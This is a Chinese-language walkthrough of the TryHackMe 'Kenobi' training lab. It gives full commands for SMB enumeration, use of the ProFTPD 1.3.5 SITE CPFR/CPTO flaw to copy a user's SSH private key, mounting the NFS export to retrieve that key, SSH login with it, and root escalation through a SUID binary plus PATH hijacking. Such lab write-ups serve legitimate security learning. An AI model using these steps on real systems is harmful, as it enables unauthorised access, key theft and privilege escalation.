TryHackMe系列之Kenobi
ps:找到的国外渗透靶场,花了我点小米,看起来对新手较为的友好,里面有较为完整的学习渗透路径
接下来就是长期的更新和学习,Fighting!
知识点
本次挑战涵盖的主题:
- nmap端口扫描+脚本枚举服务器消息块服务+网络文件系统枚举
- ProFTPD 漏洞
- 使用 SSH 密钥
- 通过设置用户识别 (SUID) 进行权限提升
信息收集
nmap扫描端口
先总览端口信息:
22:ssh
80:http
111:rpcbind
139、445:samba
这里虽有开80端口但是今天的主角不是打80端口的web服务,主打文件共享服务,以下细说。
Samba服务
Samba是一个开源的软件套件,用于在UNIX/Linux系统上实现SMB/CIFS(Server Message Block/Common Internet File System)协议。SMB/CIFS协议是一种用于在计算机之间共享文件、打印机以及其他资源的网络协议,最常见的应用场景之一是在局域网中共享文件夹和打印机。
文件共享服务: Samba允许UNIX/Linux系统上的文件夹和文件作为网络共享资源,可以通过SMB/CIFS协议访问。这意味着Windows、Linux和其他操作系统上的计算机可以通过网络访问和共享文件。
打印服务: Samba还支持共享打印机,使UNIX/Linux系统上的打印机可以通过SMB/CIFS协议与Windows和其他操作系统共享。
身份验证和授权: Samba提供了身份验证和授权机制,允许用户通过用户名和密码进行访问控制,确保只有授权用户能够访问共享资源。
集成Windows域控制器: Samba还可以作为Windows域控制器的替代品,提供域用户身份验证和管理功能,使得UNIX/Linux系统能够集成到Windows域中。
也就是提供文件共享和打印服务的软件
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.91.49
# smb-enum-shares.nse:用于枚举SMB服务上的共享资源。
# smb-enum-users.nse:用于枚举SMB服务上的用户。
# 扫描结果将显示目标主机上开放的SMB共享以及SMB用户
其他两个没有用处,anonymous文件夹中存在日志文件log.txt,这是必须要查看的
smbclient //10.10.91.49/anonymous
# smbclient 是一个用于与 SMB/CIFS 协议兼容的服务器进行交互的命令行工具。SMB/CIFS 协议用于在计算机之间共享文件、打印机和其他资源。smbclient 工具允许用户通过命令行界面访问和操作远程共享资源。
使用get命令就可以实现远程下载到当前文件夹
也可以通过:
smbget -R smb://10.10.91.49/anonymous
私钥获取
cat log.txt
看到id_rsa也是有些熟悉,记得在vulnstack靶场也是为了伪造id_rsa和id_rsa.pub文件实现私钥远程登入,可惜失败了,没有体验到那种感觉。
我们的目的就是将id_rsa文件下载到本地利用这给文件远程ssh登入靶机
ProFTPD-1.3.5 漏洞复现
ps:文件任意复制
当然要确定版本信息,连接就可以
nc 10.10.91.49 21
利用searchsploit查找可利用脚本:
searchsploit ProFtpd 1.3.5
searchsploit找脚本的好方法:
searchsploit -m [路径]
# searchsploit -m linux/remote/36742.txt
大致的漏洞是利用SITE CPFO和SITE CPTO,可能被未经身份验证的客户端使用的信息。这让我们基本上可以在服务器内复制和粘贴文件和目录
这样我们可以通过命令将id_rsa文件复制到/var/tmp路径下
nc 10.10.91.49 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
在我们的文件中创建路径:
mkdir /mnt/kenobinfs
sudo mount 10.10.91.49:/var /mnt/kenobinfs
#挂载目标文件到本机
成功挂载,远程登入
ssh -i id_rsa kenobi@10.10.91.49
suid权限提升
- SUID位——当文件具有该位时,执行该文件的用户自动获得文件所有者的权限。例如,如果
ls
命令具有这样的位,并且 root 是所有者,则任何其他正在运行的用户ls
都将以 root 权限执行此命令。 - SGID 位— 与上面的情况完全相同,但针对的是组,而不是针对单个用户
允许 | 关于文件 | 关于目录 |
---|---|---|
SUID位 | 用户以文件所有者的权限执行文件 | - |
SGID位 | 用户在组所有者的许可下执行该文件。 | 在目录中创建的文件具有相同的组所有者。 |
粘位 | 没意思 | 禁止用户删除其他用户的文件。 |
find / -perm -u=s -type f 2>/dev/null
#寻找suid可用文件
这里多少有点离谱了
这么多的命令,menu拿来提权???
看wp说是找看起来不是文件管理员熟悉的命令。。。哥们表示都不熟悉
这里学习它的思想
每一个功能,都有固定的命令可以实现,直接用ifconfig吧
冒充文件命令提权
$PATH
是一个环境变量,用于指定系统在哪些目录中查找可执行文件。当你在命令行中输入一个命令时,系统会按照 $PATH
中定义的顺序逐个查找这些目录,直到找到命令对应的可执行文件为止。
echo /bin/sh >ifconfig
# 伪造ifconfig文件为提权文件
chmod 777 ifconfig
# 赋权
pwd
# 查看当前路径
export PATH=/home/kenobi:$PATH
# 将此文件声明为$PATH环境变量的首位,这样使用ifconfig命令时就会先找到我们伪造的路径执行命令
echo $PATH
/usr/bin/menu
# 执行suid文件
提权成功,结束room挑战